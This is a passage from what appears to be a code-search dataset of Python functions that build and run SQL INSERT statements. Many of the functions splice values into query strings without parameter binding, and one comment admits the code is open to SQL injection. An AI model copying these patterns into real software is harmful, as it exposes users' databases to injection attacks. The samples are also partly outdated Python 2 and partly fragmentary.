data_dict[field_name][0]\n flg_string_type = data_dict[field_name][1]\n if command_str_left[-1] != \"(\":\n command_str_left += \",\"\n command_str_right += \",\"\n if flg_string_type: command_str_right += \"'\"\n command_str_left += field_name\n command_str_right += str(field_value)\n if flg_string_type: command_str_right += \"'\"\n command_str = command_str_left + \")\" + command_str_right + \")\"\n\n return command_str","def run_insert_example():\n table = \"actors\"\n insert_values = {\n 'id': 3,\n 'name': \"Matt\",\n 'last_name': \"Smith\",\n 'country': \"England\"}\n print querify.insert_from_dict(table, insert_values)\n\n insert_col_list = [\"id\", \"name\", \"last_name\", \"country\"]\n insert_val_list = [\n [1, \"Chris\", \"Eccleston\", \"England\"],\n [2, \"David\", \"Tennant\", \"Scotland\"],\n [3, \"Matt\", \"Smith\", \"England\"]]\n print querify.insert_from_list(table, insert_col_list, insert_val_list)","def insert(self,table,values):\n self.connect.execute(self.insert_disc[table],values)\n self.connect.commit()","def insert(self, value):\n # Build insert query\n into_sql = ''\n col_sql = ''\n val_sql = []\n for key, val in value.items():\n into_sql += ', {}'.format(key)\n col_sql += ', ?'\n val_sql.append(val)\n # Execute query\n self.execute(\"insert into {} ({}) values ({})\".format(self.name, into_sql[2:], col_sql[2:]), val_sql)","def insert(self):\n sql = u'INSERT INTO %s' % self.table()\n keys = []\n values = []\n format_values = []\n for field in self.fields():\n attr = object.__getattribute__(self, field)\n if attr.auto_value:\n continue\n keys.append(field)\n format_values.append(attr.format)\n values.append(attr._value)\n keys_str = u'( %s )' % u', '.join(keys)\n values_str = u'VALUES( %s )' % u', '.join(format_values)\n sql = '%s %s %s;' % (sql, keys_str, values_str)\n connection.execute(sql, values)\n primary_k = self.__class__.get_primary()\n primary = object.__getattribute__(self, primary_k)\n primary.value = connection.connection.insert_id()","def insert_statement(self, values):\n statement = Engine.insert_statement(self, values)\n if isinstance(statement, bytes):\n statement = statement.decode(\"utf-8\", \"ignore\")\n return statement","def insert_into(table, header, dict_list):\r\n values = [\"(\" + \",\".join([quote_str(dict[key]) for key in header]) + \")\" for dict in dict_list]\r\n return \"INSERT INTO \" + table + \" (\"+\",\".join(header)+\") VALUES\\n\"+\",\\n\".join(values)+\";\\n\"","def _assemble(self):\n assert self._kw, \"Call values() first\"\n names = ','.join(list(self._kw))\n holders = ','.join(f'%({name})s' for name in self._kw)\n return (\n f'insert into {self._table} '\n f'({names}) values ({holders}) '\n f'returning {self._returning}'\n ), self._kw.copy()","def test_insert(self):\n self.assertEqual(['INSERT', 'INTO', 'test', '(a,b) VALUES (1,2)'],\n grammar._INSERT_EXPR.parseString(\"INSERT INTO test (a,b) VALUES (1,2);\").asList())","async def insert(self, args: Dict[str, Any]):\n keys = \", \".join(args.keys())\n values = \", \".join([f\"${i + 1}\" for i in range(len(args))])\n\n conn: Connection\n async with self.db_pool.acquire() as conn:\n await conn.execute(\n f\"INSERT INTO {self.table_name} \"\n f\"({keys}) VALUES ({values})\",\n *args.values(),\n )","def insert_into_postgres(schema, table, column_list_string, values):\n conn = logic_db_connection()\n try:\n cur = conn.cursor()\n insert_dml = \"\"\"INSERT INTO {0}.{1}\n ({2})\n VALUES ({3}) \n ;\"\"\".format(schema, table, column_list_string, values)\n cur.execute(insert_dml)\n conn.commit()\n except Exception as e:\n #if type(e) is not type(psycopg2.IntegrityError()): # doesn't work need to use pg error code catching\n # print(f'Unable to insert into Postgres table {table}. DML: {insert_dml} Error: {e}')\n raise\n finally:\n conn.close()\n return","def insert(self, table, *args, **kwargs):\n\n values = None\n query = \"INSERT INTO %s \" % table\n if kwargs:\n keys = kwargs.keys()\n values = kwargs.values()\n query += \"(\" + \",\".join([\"`%s`\"]*len(keys)) % tuple(keys) + \\\n \") VALUES(\" + \",\".join([\"%s\"]*len(values)) + \")\"\n elif args:\n values = args\n query += \" VALUES(\" + \",\".join([\"%s\"]*len(values)) + \")\"\n\n self.__open()\n self.__cursor.execute(query, values)\n self.__connection.commit()\n self.__close()\n return self.__cursor.lastrowid","def sql_insert(self, sqlstr):\n get_connection().insert_raw(sqlstr)\n return 1","def db_insert(self, table_name: str, data: dict):\n \n query = 'INSERT OR IGNORE INTO {0} ({1}) VALUES ({2})'.format(\n table_name, ', '.join(data.keys()), ', '.join('?'*len(data)))\n self.db.execute(query, list(data.values()))","def insertFromDict(table, dict):\n sql = 'INSERT INTO ' + table\n sql += ' ('\n sql += ', '.join(dict)\n sql += ') VALUES ('\n sql += ', '.join(map(dictValuePad, dict))\n sql += ');'\n return sql","def insert_into(cursor, table, columns, values):\r\n columns_str = columns[0]\r\n values_str = \"%s\"\r\n for col in columns[1:]:\r\n columns_str += \", \" + col\r\n values_str += \", %s\"\r\n query = \"INSERT INTO {} ({}) VALUES ({})\".format(table, columns_str, values_str)\r\n cursor.execute(query, values)","def insertData(self, sql: str, values: tuple) -> None:\n try:\n connection = self.connect()\n cursor = connection.cursor() \n data = cursor.execute(sql, values) \n connection.commit() \n except sqlite3.Error as e:\n logging.error(f'{__class__.__name__ } Exception: {e}')\n logging.error(f'{self.cn} usedSQL {sql}')\n logging.error(f'{self.cn} insertedValues - {values}')\n cursor.close()\n finally:\n cursor.close()\n if connection:\n connection.close()","def _query_insert(self, sql, data=None):\n\n conn = psycopg2.connect(self.connect_args)\n cur = conn.cursor()\n cur.execute(sql, data)\n conn.commit()\n cur.close()\n conn.close()","def insert(self, fields, values):\n sql = self.generate_insert_sql(fields, values)\n self.sqlhistory.append(sql)\n return self.sql_insert(sql)","def test_insert(self):\n query = \"insert into cds values(%s,%s,%s,%s)\"\n values = (109876,\"cinderella\",\"big 5\",5)\n self.a.insert(query,values)\n query1 = \"select * from cds where id=109876\"","def insert(self, sql):\n try:\n # Execute the SQL command\n self.cursor.execute(sql)\n # Commit your changes in the database\n self.db.commit()\n except:\n # Rollback in case there is any error\n self.db.rollback()","def db_insertmany(table: str, columns: list, values: list):\n\n db, c = start_db()\n\n cols = ', '.join(columns)\n vals = ', '.join(['?' for _ in values[0]])\n query = f'INSERT INTO {table} ({cols}) VALUES ({vals})'\n\n c.executemany(query, values)\n db.commit()\n db.close()","def transactionInsert(self, t_name, fields, field_values): \n query = 'INSERT INTO {0} ({1}) VALUES ({2});'\n field_list_string = ','.join(fields)\n query_parameters = ','.join(['?'] * len(fields))\n query = query.format(t_name, field_list_string, query_parameters)\n try:\n self.cursor.execute(query, tuple(field_values))\n except Exception as e:\n print(\"Error inserting with query '{}'\".format(query))\n print(\"\\tWith columns {}\".format(fields))\n print(\"\\tWith values {}\".format(field_values))\n print(\"\\tRollback will occur.\")\n self.connection.rollback()","def insert(db, table, name, row):\n\n # Build insert prepared statement\n columns = [name for name, _ in table.items()]\n insert = INSERT_ROW.format(table=name, columns=\", \".join(columns), values=(\"?, \" * len(columns))[:-2])\n\n try:\n db.execute(insert, values(table, row, columns))\n except Exception as ex:\n print(\"Error inserting row: {}\".format(row), ex)","def insert(self, items=''):\n cur = self.conn.cursor()\n\n format_args = {'table': self.__name__,\n 'items': ', '.join(items.keys()),\n 'values': ', '.join([':'+key for key in items.keys()])}\n \n insert_query = \"\"\"\n INSERT INTO {table} ({items}) VALUES ({values})\n \"\"\".format(**format_args)\n\n cur.execute(insert_query, items)","def _insert(\n self,\n objs,\n fields,\n returning_fields=None,\n raw=False,\n using=None,\n on_conflict=None,\n update_fields=None,\n unique_fields=None,\n ):\n self._for_write = True\n if using is None:\n using = self.db\n query = sql.InsertQuery(\n self.model,\n on_conflict=on_conflict,\n update_fields=update_fields,\n unique_fields=unique_fields,\n )\n query.insert_values(fields, objs, raw=raw)\n return query.get_compiler(using=using).execute_sql(returning_fields)","def add_entry(db, table, columns, values):\n mycursor = db.cursor()\n\n sql = \"INSERT INTO \" + table + \" (\" + parse_sql_param_from_array(columns) + \") VALUES (\" + parse_sql_param_from_array(values, escape=True) + \")\"\n mycursor.execute(sql)\n\n db.commit()","def insert_values():\n pass","def create_insert_code(name_of_table, col_names=[None], col_values=[None],):\n sql_str = ''\n try:\n if col_names is None:\n raise Exception('You must provide at least one column name!')\n else:\n sql_str = 'INSERT INTO ' + str(name_of_table).strip() + '\\n('\n for col in col_names:\n sql_str += str(col) + ', '\n sql_str = sql_str[0:-2] + ')' # Strip off the last comma\n if col_values is None:\n raise Exception('You must provide at least one column value!')\n else:\n sql_str += '\\nVALUES\\n('\n for col in col_values:\n sql_str += str(col) + ', '\n sql_str = sql_str[0:-2] + ');' # Strip off the last comma\n except Exception as e:\n raise Exception('Error in create_insert_code(): ' + e.__str__())\n return sql_str","def insert_values(self, table, cols, vals):\n conn = psycopg2.connect(self.name, sslmode='require')\n c = conn.cursor()\n c.execute(\"INSERT INTO {0} ({1}) VALUES ({2})\".format(table,','.join(str(i) for i in cols), ','.join(\"'\"+str(i)+\"'\" for i in vals)))\n conn.commit() \n conn.close","def insert(self, tablename, seqname=None, _test=False, **values):\n def q(x): return \"(\" + x + \")\"\n \n if values:\n _keys = SQLQuery.join(values.keys(), ', ')\n _values = SQLQuery.join([sqlparam(v) for v in values.values()], ', ')\n sql_query = \"INSERT INTO %s \" % tablename + q(_keys) + ' VALUES ' + q(_values)\n else:\n sql_query = SQLQuery(self._get_insert_default_values_query(tablename))\n\n if _test: return sql_query\n \n db_cursor = self._db_cursor()\n if seqname is not False: \n sql_query = self._process_insert_query(sql_query, tablename, seqname)\n\n if isinstance(sql_query, tuple):\n # for some databases, a separate query has to be made to find \n # the id of the inserted row.\n q1, q2 = sql_query\n self._db_execute(db_cursor, q1)\n self._db_execute(db_cursor, q2)\n else:\n self._db_execute(db_cursor, sql_query)\n\n try: \n out = db_cursor.fetchone()[0]\n except Exception: \n out = None\n \n if not self.ctx.transactions: \n self.ctx.commit()\n return out","def construct_insert(self, info):\n self.sql_type_ind = sql_type.INSERT\n self.return_result = False\n self.q_str = \"generate\"\n\n if \"items\" in info.keys() and len(info[\"items\"]) == 1 and\\\n \"columns\" in info.keys() and isinstance(info[\"columns\"], dict):\n self.columns = co.OrderedDict()\n for key, val in info[\"columns\"].items():\n self.columns[key] = val\n\n elif \"items\" in info.keys() and isinstance(info[\"items\"], dict) and\\\n len(info[\"items\"]) > 1:\n self.columns = co.OrderedDict()\n for key, val in info[\"items\"].items():\n if val != '':\n self.columns[val] = key\n else:\n self.columns[key] = key\n elif \"items\" in info.keys() and isinstance(info[\"items\"], list):\n self.columns = co.OrderedDict()\n for val in info[\"items\"]:\n self.columns[val] = ''","def insert_row(self, tablename, fields):\n insert_params = \"(\" + \",\".join(['?' for x in fields]) + \")\"\n self.cursor.execute(\"insert into \" + tablename + \" values \" +\n insert_params, fields)","def sql_filtered_insert(table, set_columns, values):\n for index in range(len(set_columns) - 1, -1, -1):\n if values[index] is None:\n del set_columns[index]\n del values[index]\n values_fields = ['?'] * len(set_columns)\n query_columns = ', '.join(set_columns)\n values_fields = ', '.join(values_fields)\n query = f'INSERT INTO {table} ({query_columns}) VALUES ({values_fields})'\n return query, values","def pack_for_insert(table_name: str,\n data: dict):\n\n # Decide which table apply insert query to\n columns_list = product_table_columns # \"product\" by default\n while Switch(table_name):\n if case('listing_info'):\n columns_list = listing_info_table_columns\n if case('selling_status'):\n columns_list = selling_status_table_columns\n if case('shipping_info'):\n columns_list = shipping_info_table_columns\n break\n\n # Compose condition string for Update statement from several set operations separated by commas\n columns_string = r\"{}\".format(tuple([i for i in columns_list])).replace(\"'\", \"\")\n\n # Init service variables\n values_string, count = r\"\", 0\n\n # Update Statement string with commas separating set values\n for column in columns_list:\n for key, value in data.items():\n if column == key:\n values_string = values_string + r'\"{}\"{}'.format(value, (\", \" if count<len(data)-1 else ''))\n count += 1\n\n return r\"REPLACE INTO {} {} VALUES ({});\".format(table_name, columns_string, values_string)","async def _insert_stmt(self):\n raise NotImplementedError","def insertmany(self, table, values):\n col_name = self.table_cols[table][1:]\n sql = 'INSERT INTO %s(%s) VALUES (%s)' % (table, ','.join(col_name), ','.join(['%s'] * len(values[0])))\n Log.debug('DB -> %s' % sql)\n self.execute(sql, values)","def db_insert(table: str, columns: list, values: list, last_index=False):\n\n db, c = start_db()\n\n cols = ', '.join(columns)\n vals = ', '.join([f'\"{v}\"' for v in values])\n query = f'INSERT INTO {table} ({cols}) VALUES ({vals})'\n\n c.execute(query)\n last_id = c.lastrowid\n db.commit()\n db.close()\n\n if last_index:\n return last_id","def input_values(curs, table_name, inputs):\n curs.executemany(\"\"\"INSERT INTO {} (s, x, y)\n VALUES (?, ?, ?);\"\"\".format(table_name), inputs)","def multiple_insert(self, tablename, values, seqname=None, _test=False): \n if not values:\n return []\n \n if not self.supports_multiple_insert:\n out = [self.insert(tablename, seqname=seqname, _test=_test, **v) for v in values]\n if seqname is False:\n return None\n else:\n return out\n \n keys = values[0].keys()\n #@@ make sure all keys are valid\n\n for v in values:\n if v.keys() != keys:\n raise ValueError, 'Not all rows have the same keys'\n\n sql_query = SQLQuery('INSERT INTO %s (%s) VALUES ' % (tablename, ', '.join(keys)))\n\n for i, row in enumerate(values):\n if i != 0:\n sql_query.append(\", \")\n SQLQuery.join([SQLParam(row[k]) for k in keys], sep=\", \", target=sql_query, prefix=\"(\", suffix=\")\")\n \n if _test: return sql_query\n\n db_cursor = self._db_cursor()\n if seqname is not False: \n sql_query = self._process_insert_query(sql_query, tablename, seqname)\n\n if isinstance(sql_query, tuple):\n # for some databases, a separate query has to be made to find \n # the id of the inserted row.\n q1, q2 = sql_query\n self._db_execute(db_cursor, q1)\n self._db_execute(db_cursor, q2)\n else:\n self._db_execute(db_cursor, sql_query)\n\n try: \n out = db_cursor.fetchone()[0]\n out = range(out-len(values)+1, out+1) \n except Exception: \n out = None\n\n if not self.ctx.transactions: \n self.ctx.commit()\n return out","def insert_db(query, args=()):\n db = get_db()\n db.execute(query, args)\n db.commit()","def get_table_insert_command_from_dict(table, dict):\n sql = 'INSERT OR REPLACE INTO ' + table\n sql += ' ('\n sql += ','.join(dict.keys())\n sql += ') VALUES ('\n sql += ','.join(map(wrap_with_strings, dict.values()))\n sql += ');'\n return sql","def insert(self, tablename, columns, values):\n\n length = len(columns)\n if length != 0:\n placeholder = ['?'] * length\n query = \"Insert into \" + tablename + \" (\" + ','.join(columns) + \") Values (\" + ','.join(\n placeholder) + \")\"\n else:\n l = len(values)\n placeholder = ['?'] * l\n query = \"Insert into \" + tablename + \" Values (\" + ','.join(placeholder) + \")\"\n try:\n self.__cur.execute(query, values)\n self.__conn.commit()\n except Exception as e:\n self.__conn.rollback()\n raise e","def insert(self, table, columns, values, execute=True):\n # TODO: Cant accept lists?\n # Concatenate statement\n cols, vals = get_col_val_str(columns)\n statement = \"INSERT INTO {0} ({1}) VALUES ({2})\".format(wrap(table), cols, vals)\n\n # Execute statement\n if execute:\n self._cursor.execute(statement, values)\n self._commit()\n self._printer('\\tMySQL row successfully inserted into {0}'.format(table))\n\n # Only return statement\n else:\n return statement","def Insert_in_Transaction(db, params):\r\n \r\n try: \r\n db.Transaction.insert_one(\r\n {\r\n \"Open time\": params[0], \r\n \"High\": params[1], \r\n \"Low\": params[2], \r\n \"Open\": params[3], \r\n \"Close\": params[4], \r\n \"Volume\": params[5], \r\n \"Quote asset volume\": params[6], \r\n \"Weighted average\": params[7]\r\n }\r\n )\r\n \r\n except Exception as e:\r\n print(e)","def insert_data(stored_data, table_name):\r\n for item in stored_data:\r\n cursor.execute('''INSERT INTO {} VALUES(?, ?, ?, ?)'''.format(table_name), item)","def makeInserts(self, tbl, columns, rows):\n\n lines = []\n lines.append(\"INSERT ALL\")\n\n stmt = ' INTO \"{}\" ({})'.format(\n tbl,\n \", \".join(['\"'+name+'\"' for name, *_ in columns])\n )\n\n fmt = ' VALUES ({})'.format(\n \", \".join([\"{}\" if t in ('NUMBER') else \"'{}'\" \n for n, t, *_ in columns])\n )\n\n print(stmt)\n print(fmt)\n\n for row in rows:\n lines.append(stmt)\n lines.append(fmt.format(*row))\n \n\n lines.append(\"SELECT * FROM DUAL\")\n\n return \"\\n\".join(lines)","def makeInserts(self, tbl, columns, rows):\n\n lines = []\n lines.append(\"INSERT ALL\")\n\n stmt = ' INTO \"{}\" ({})'.format(\n tbl,\n \", \".join(['\"'+name+'\"' for name, *_ in columns])\n )\n\n fmt = ' VALUES ({})'.format(\n \", \".join([\"{}\" if t in ('NUMBER') else \"'{}'\" \n for n, t, *_ in columns])\n )\n\n print(stmt)\n print(fmt)\n\n for row in rows:\n lines.append(stmt)\n lines.append(fmt.format(*row))\n \n\n lines.append(\"SELECT * FROM DUAL\")\n\n return \"\\n\".join(lines)","def insert(cls, values):\n result = yield InsertQuery(cls, values).execute()\n returnValue(result)","def insert(conn, table_info, table_data):\n\n sql = ''' INSERT INTO ''' + table_info \n + ''' VALUES(''' + \"?,\" * (len(table_data)-1) + \"?)\"\n cursor = conn.cursor()\n cursor.execute(sql, table_data)\n conn.commit()","def insert(self, table, value):\n col_name = self.table_cols[table][1:]\n sql = \"INSERT INTO %s(%s) VALUES (%s)\" % (table, str(','.join(col_name)), array_join(value, ','))\n Log.debug('DB -> %s' % sql)\n self.execute(sql)","def insert_to_table(self, tableName, dataRow, colNames):\n queryString = f\"INSERT INTO {tableName} VALUES \"\n # building the Values list\n valueString = \"\"\n # looping \n for value in dataRow:","def _insert_dict(cursor, table, data, returning=None):\n data = dict(_remove_nones(data))\n cols, vals = _query_fields(data)\n returning_clause = 'RETURNING {}'.format(returning) if returning else ''\n cursor.execute(\n 'INSERT INTO {} ({}) VALUES ({}) {}'.format(table, cols, vals, returning_clause),\n data\n )\n if returning:\n return cursor.fetchone()[returning]","def insert_values(listingid_to_text):\n sql = \"INSERT INTO listingid_to_text_english VALUES (%s, %s)\"\n args = [(key, val) for key, val in listingid_to_text.iteritems()]\n conn = None\n try:\n # read database configuration\n params = config()\n # connect to the PostgreSQL database\n conn = psycopg2.connect(**params)\n # create a new cursor\n cur = conn.cursor()\n \n print(\"here\")\n # execute the INSERT statement\n cur.executemany(sql, args)\n # commit the changes to the database\n conn.commit()\n # close communication with the database\n cur.close()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if conn is not None:\n conn.close()","def _InsertDataToDB(db_conn, data_to_insert):\r\n sql = ''' INSERT INTO results(R1, R2, R3, R4, R5, R6, R7, R8, R9, R10, R11, R12, R13, R14, R15, R16, R17, R18, R19, R20, R21, R22, R23, R24, R25, R26, R27, R28, R29, R30, R31, R32, R33, R34, R35, R36, R37, R38, R39)\r\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) '''\r\n cur = db_conn.cursor()\r\n cur.execute(sql, data_to_insert)\r\n db_conn.commit()\r\n return cur.lastrowid","def insert(sql, clue):\n\t# clue is [game, airdate, round, category, value, clue, answer]\n\t# note that at this point, clue[4] is False if round is 3\n\tif \"\\\\\\'\" in clue[6]:\n\t\tclue[6] = clue[6].replace(\"\\\\\\'\", \"'\")\n\tif \"\\\\\\\"\" in clue[6]:\n\t\tclue[6] = clue[6].replace(\"\\\\\\\"\", \"\\\"\")\n\tif not sql:\n\t\tprint clue\n\t\treturn\n\tsql.execute(\"INSERT OR IGNORE INTO airdates VALUES(?, ?);\", (clue[0], clue[1], ))\n\tsql.execute(\"INSERT OR IGNORE INTO categories(category) VALUES(?);\", (clue[3], ))\n\tcategory_id = sql.execute(\"SELECT id FROM categories WHERE category = ?;\", (clue[3], )).fetchone()[0]\n\tclue_id = sql.execute(\"INSERT INTO documents(clue, answer) VALUES(?, ?);\", (clue[5], clue[6], )).lastrowid\n\tsql.execute(\"INSERT INTO clues(game, round, value) VALUES(?, ?, ?);\", (clue[0], clue[2], clue[4], ))\n\tsql.execute(\"INSERT INTO classifications VALUES(?, ?)\", (clue_id, category_id, ))","def _get_insert_request(self, dico,\n table,\n exe=False,\n primarykey=None,\n cursor=None,\n skip_exception=False):\n keys = []\n values = []\n for k, v in dico.items():\n keys.append(k)\n if k != primarykey and isinstance(v, str):\n v = \"'\" + str(v).replace(\"'\", \"''\") + \"'\"\n values.append(v)\n elif isinstance(v, datetime.datetime):\n values.append(\"'\" + str(v) + \"'\")\n else:\n values.append(str(v))\n keys = \",\".join(keys)\n values = \",\".join(values)\n sql = \"INSERT INTO %s (%s) VALUES (%s);\" % (table, keys, values)\n if exe:\n try:\n if cursor is not None:\n cursor.execute(sql)\n else:\n self._connection.execute(sql)\n except SQLite.OperationalError as e:\n if skip_exception:\n self.LOG(\n \"OperationalError: unable to execute a query\", e, sql)\n else:\n raise ExceptionSQL( # pylint: disable=W0707\n \"OperationalError: unable to execute a query\", e, sql)\n except SQLite.IntegrityError as e:\n if skip_exception:\n self.LOG(\"IntegrityError: unable to execute a query\", e, sql)\n else:\n raise ExceptionSQL( # pylint: disable=W0707\n \"IntegrityError: unable to execute a query\", e, sql)\n return sql","def insert_csl(conn, table, sql_param):\r\n header_list = get_header(conn, table)\r\n header_list.pop(0)\r\n translation = {39 : None,\r\n 91 : 40, \r\n 93 : 41}\r\n place_holders = [\"%s\" for item in header_list] # creates a list with many place holders as items in header_list\r\n place_holders = str(place_holders).translate(translation) # list to str and ' -> None, [ -> { and ] -> }\r\n header_list = str(header_list).translate(translation) # list to str and ' -> None, [ -> { and ] -> }\r\n insert = f\"INSERT INTO {table} {header_list} VALUES {place_holders} RETURNING id\"\r\n cursor = conn.cursor()\r\n cursor.execute(insert, sql_param)\r\n conn.commit()\r\n returned_id = cursor.fetchone()\r\n cursor.close()\r\n return returned_id","def insert_(statement: str, db_conf) -> []:\n try:\n result = db_conf.execute(statement)\n if result:\n return result\n except psycopg2.IntegrityError:\n pass\n return []","def db_insert(db_in, table, dict_in):\n connection = db_in.connection.cursor()\n keys = []\n values = []\n for key, value in dict_in.items():\n keys.append(key)\n # Escape quotes\n if isinstance(value, str):\n values.append(\"'\" + value.replace(\"'\", \"''\") + \"'\")\n else:\n values.append(\"'\" + str(value) + \"'\")\n\n # Update entries for each key and value.\n for key in keys:\n # Attempt to add column, fail silently if it exists.\n try:\n connection.execute('ALTER TABLE %s ADD COLUMN %s' % (table.name, key))\n except sqlite3.OperationalError:\n pass\n\n connection.execute('INSERT INTO %s(%s) VALUES (%s);' % (table.name, \",\".join(keys), \",\".join(values)))\n return_entry = Entry(connection.lastrowid, db_in, table, dict_in)\n db_in.connection.commit()\n return return_entry","def insert(statement: str) -> []:\n raise NotImplementedError","def insert_into_table(table_name, column_names, column_values):\n sql = \"INSERT INTO user_data(%s) VALUES(%s);\"\n # execute_sql(sql, (column_names, column_values))\n # FIXME: issues with array of strings input","def insert_into_table(self, schema, table, fields, values):\n sql = f'set role {self.write_role}; ' \\\n f'INSERT INTO {schema}.{table} ( {\", \".join(fields)} ) VALUES ( {\", \".join(values)} );'\n return sql","def insert_rows(cursor, table_name, row_dict_list):\n\tkeys = row_dict_list[0].keys()\n\tcolumns = \", \".join(keys)\n\tvalues_template = \", \".join([\"?\"] * len(keys))\n\n\tsql = \"INSERT INTO %s (%s) VALUES (%s)\" % \\\n\t\t(table_name, columns, values_template)\n\ttuples = [tuple(row_dict[key] for key in keys) for row_dict in row_dict_list]\n\tcursor.executemany(sql, tuples)","def insert_to_db(self,\n list_of_tuples: list,\n table_name: str,\n col_names: list,\n work_dir: str,\n ignore: bool = True):\n # return if nothing to do\n if not list_of_tuples: return\n\n # prepare request parts\n ignore_str = ignore and \"IGNORE\" or \"\"\n cols_str = \", \".join(col_names)\n\n # generate file with the insert SQL command\n insert_sql_file = self.pjc(work_dir, \"insert.sql\")\n with open(insert_sql_file, \"w\") as sql:\n print(f\"INSERT {ignore_str} INTO {table_name} ({cols_str}) VALUES\", file=sql)\n values_sep = \"\"\n for tpl in list_of_tuples:\n tpl_str = \", \".join(map(str, tpl))\n print(f\"{values_sep}({tpl_str})\", file = sql)\n values_sep = \", \"\n print(\";\", file=sql)\n\n # run insert SQL from file\n self.run_sql_req(insert_sql_file, self.pjc(work_dir, \"insert\"), from_file = True)","def insert_execute(self, insert_data):\n self.execute(query=self.db_insert_schema.format(self.table_name), data=insert_data)","async def insert(self, table_name: str, values: tuple, columns=None):\n query = f\"\"\"INSERT INTO {table_name} {'(' + ', '.join(columns) + ')' if columns else ''} VALUES {values}\"\"\"\n await LemkPgUtils.execute_query(self.dsn, query)\n return True","def insert(cls, *lst, **dct):\n cls.runtime.set_set(lst, dct)\n return InsertQuery(cls.runtime)","def _insert_internal(self, cols, vals) :\n\n self.row_id += 1\n vals[0] = self.row_id\n\n if None in vals :\n cvs = list(zip(cols, vals))\n cvs = [cv for cv in cvs if cv[1] is not None]\n cs = [cv[0] for cv in cvs]\n vs = [cv[1] for cv in cvs]\n else :\n cs = cols\n vs = vals\n\n value_sql = ','.join([self._quoter(cols[i]) % str(vs[i]) \n for i in range(len(vs))])\n\n col_sql = ','.join(['\"%s\"' % c for c in cs])\n insert_sql = 'INSERT INTO \"%s\" (%s) VALUES (%s)' % (self.name, col_sql, value_sql)\n cur = self.con.cursor()\n cur.execute(insert_sql)","def insertParametri(self,query_id,l):\r\n\t\tfor i in l:\r\n\t\t\t\tprint \"inserisco parametro {0} per query: {1}\".format(i,query_id)\r\n\t\t\t\tself.session.add(Parametro(query_id,i[0],i[1]))\r\n\t\t # self.session.commit()\r","def insert(self, _values=None, **values):\n if not values and not _values:\n return True\n\n if not isinstance(_values, list):\n if _values is not None:\n values.update(_values)\n\n values = [values]\n else:\n values = _values\n for i, value in enumerate(values):\n values[i] = OrderedDict(sorted(value.items()))\n\n bindings = []\n\n for record in values:\n for value in record.values():\n bindings.append(value)\n\n sql = self._grammar.compile_insert(self, values)\n\n bindings = self._clean_bindings(bindings)\n\n return self._connection.insert(sql, bindings)","def insert_data(self, table_name, data):\n for data_point in data:\n query = \"INSERT INTO %s(%s) VALUES (%s)\"\n\n fields = \", \".join(data_point.keys())\n values = \", \".join([self.pack_data(value) for value in data_point.values()])\n self.cursor.execute(query % (table_name, fields, values))\n self.db_connection.commit()","def insert(title, author, year, isbn,shelf,raw):\n\n conn_obj = mysql.connector.connect(host='localhost',database='mydb',user='root',password='kks')\n cur_obj = conn_obj.cursor()\n sql=\"INSERT INTO book (title, author, year, isbn,shelf,raw) VALUES(%s, %s, %s, %s, %s, %s)\"\n cur_obj.execute(sql,(title, author, year, isbn,shelf,raw))\n conn_obj.commit()\n conn_obj.close()","def test_insert_heterogeneous_params(self, connection):\n users = self.tables.users\n\n assert_raises_message(\n exc.StatementError,\n r\"\\(sqlalchemy.exc.InvalidRequestError\\) A value is required for \"\n \"bind parameter 'user_name', in \"\n \"parameter group 2\\n\"\n r\"\\[SQL: u?INSERT INTO users\",\n connection.execute,\n users.insert(),\n [\n {\"user_id\": 7, \"user_name\": \"jack\"},\n {\"user_id\": 8, \"user_name\": \"ed\"},\n {\"user_id\": 9},\n ],\n )\n\n # this succeeds however. We aren't yet doing\n # a length check on all subsequent parameters.\n connection.execute(\n users.insert(),\n [\n {\"user_id\": 7},\n {\"user_id\": 8, \"user_name\": \"ed\"},\n {\"user_id\": 9},\n ],\n )","def test_insert_heterogeneous_params(self, connection):\n users = self.tables.users\n\n assert_raises_message(\n exc.StatementError,\n r\"\\(sqlalchemy.exc.InvalidRequestError\\) A value is required for \"\n \"bind parameter 'user_name', in \"\n \"parameter group 2\\n\"\n r\"\\[SQL: u?INSERT INTO users\",\n connection.execute,\n users.insert(),\n [\n {\"user_id\": 7, \"user_name\": \"jack\"},\n {\"user_id\": 8, \"user_name\": \"ed\"},\n {\"user_id\": 9},\n ],\n )\n\n # this succeeds however. We aren't yet doing\n # a length check on all subsequent parameters.\n connection.execute(\n users.insert(),\n [\n {\"user_id\": 7},\n {\"user_id\": 8, \"user_name\": \"ed\"},\n {\"user_id\": 9},\n ],\n )","def insert_data(data):\n\n try:\n sql = \"INSERT INTO movies VALUES(%s, %s, %s)\"\n conn = psycopg2.connect(dsn=DB_DSN)\n cur = conn.cursor()\n cur.executemany(sql, data)\n conn.commit()\n except psycopg2.Error as e:\n print e.message\n else:\n cur.close()\n conn.close()","def insert(q, *params):\n db = Database()\n db.cur.execute(q, *params)\n ret_id = db.cur.lastrowid\n db.con.close()\n return ret_id","def execute_insert(self,insert):\n try:\n self.cursor.execute(insert)\n self.connection.commit()\n except Exception as error:\n self.connection.rollback()\n raise error","def mogrify_sql_statement(self, content):\n sql = content[0]\n args = content[1]\n\n if self.dbmi.__name__ == \"psycopg2\":\n if len(args) == 0:\n return sql\n else:\n if self.connected:\n try:\n return self.cursor.mogrify(sql, args)\n except Exception as exc:\n print(sql, args)\n raise exc\n else:\n self.connect()\n statement = self.cursor.mogrify(sql, args)\n self.close()\n return statement\n\n elif self.dbmi.__name__ == \"sqlite3\":\n if len(args) == 0:\n return sql\n else:\n # Unfortunately as sqlite does not support\n # the transformation of sql strings and qmarked or\n # named arguments we must make our hands dirty\n # and do it by ourself. :(\n # Doors are open for SQL injection because of the\n # limited python sqlite3 implementation!!!\n pos = 0\n count = 0\n maxcount = 100\n statement = sql\n\n while count < maxcount:\n pos = statement.find(\"?\", pos + 1)\n if pos == -1:\n break\n\n if args[count] is None:\n statement = \"%sNULL%s\" % (statement[0:pos],\n statement[pos + 1:])\n elif isinstance(args[count], (int, long)):\n statement = \"%s%d%s\" % (statement[0:pos], args[count],\n statement[pos + 1:])\n elif isinstance(args[count], float):\n statement = \"%s%f%s\" % (statement[0:pos], args[count],\n statement[pos + 1:])\n elif isinstance(args[count], datetime):\n statement = \"%s\\'%s\\'%s\" % (statement[0:pos], str(args[count]),\n statement[pos + 1:])\n else:\n # Default is a string, this works for datetime\n # objects too\n statement = \"%s\\'%s\\'%s\" % (statement[0:pos],\n str(args[count]),\n statement[pos + 1:])\n count += 1\n\n return 